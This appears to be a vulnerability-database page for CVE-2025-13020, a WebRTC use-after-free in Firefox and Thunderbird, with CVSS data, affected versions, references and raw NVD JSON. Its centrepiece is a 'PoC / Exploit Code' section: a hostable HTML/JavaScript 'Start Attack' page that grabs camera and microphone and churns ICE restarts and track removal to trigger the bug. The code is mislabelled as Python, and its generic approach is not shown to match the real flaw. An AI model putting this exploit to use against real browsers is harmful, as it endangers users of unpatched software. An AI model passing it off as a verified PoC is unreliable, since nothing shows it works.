Security Vulnerability Report
中文
CVE-2025-13020 CVSS 8.8 HIGH

CVE-2025-13020

Published: 2025-11-11 16:15:39
Last Modified: 2026-04-13 15:16:43

Description

Use-after-free in the WebRTC: Audio/Video component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
Mozilla Firefox < 145
Mozilla Firefox ESR < 140.5
Mozilla Thunderbird < 145
Mozilla Thunderbird < 140.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-13020 PoC - WebRTC Use-after-free * Target: Mozilla Firefox < 145, Firefox ESR < 140.5, Thunderbird < 145/140.5 * Description: Triggers use-after-free in WebRTC Audio/Video component * Usage: Host this HTML and open in vulnerable Firefox/Thunderbird */ <!DOCTYPE html> <html> <head><title>CVE-2025-13020 PoC</title></head> <body> <h1>WebRTC Use-after-free PoC</h1> <button id="startBtn">Start Attack</button> <video id="localVideo" autoplay></video> <video id="remoteVideo"></video> <script> const startBtn = document.getElementById('startBtn'); let peerConnection = null; let localStream = null; async function startAttack() { try { // Get local media stream localStream = await navigator.mediaDevices.getUserMedia({ video: { width: 1920, height: 1080, frameRate: 60 }, audio: true }); document.getElementById('localVideo').srcObject = localStream; // Create peer connection peerConnection = new RTCPeerConnection({ iceServers: [{ urls: 'stun:stun.example.com' }] }); // Add local stream tracks localStream.getTracks().forEach(track => { peerConnection.addTrack(track, localStream); }); // Create data channel for additional manipulation const dataChannel = peerConnection.createDataChannel('exploit'); peerConnection.ontrack = (event) => { document.getElementById('remoteVideo').srcObject = event.streams[0]; // Trigger rapid stream manipulation triggerUAF(event.streams[0]); }; // Create and set local offer const offer = await peerConnection.createOffer({ offerToReceiveAudio: 1, offerToReceiveVideo: 1 }); await peerConnection.setLocalDescription(offer); // Rapid connection state changes to trigger race condition for (let i = 0; i < 100; i++) { peerConnection.restartIce(); await new Promise(r => setTimeout(r, 10)); } } catch (error) { console.error('Attack error:', error); } } function triggerUAF(stream) { // Manipulate stream to trigger use-after-free in Audio/Video component const videoTracks = stream.getVideoTracks(); const audioTracks = stream.getAudioTracks(); // Rapid track removal/addition for (let i = 0; i < 50; i++) { videoTracks.forEach(track => stream.removeTrack(track)); audioTracks.forEach(track => stream.removeTrack(track)); stream.addTrack(videoTracks[0]); stream.addTrack(audioTracks[0]); } // Force garbage collection if available if (window.gc) window.gc(); // Access potentially freed memory console.log('Stream tracks:', stream.getTracks()); } startBtn.onclick = startAttack; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13020", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:39.097", "lastModified": "2026-04-13T15:16:43.353", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use-after-free in the WebRTC: Audio/Video component. This vulnerability was fixed in Firefox 145, Firefox ESR 140.5, Thunderbird 145, and Thunderbird 140.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.5.0", "matchCriteriaId": "D77916A6-B8C6-475D-8D77-D5D3AA1E1F43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1995686", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-88/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-91/", "source": "[email protected]"}]}}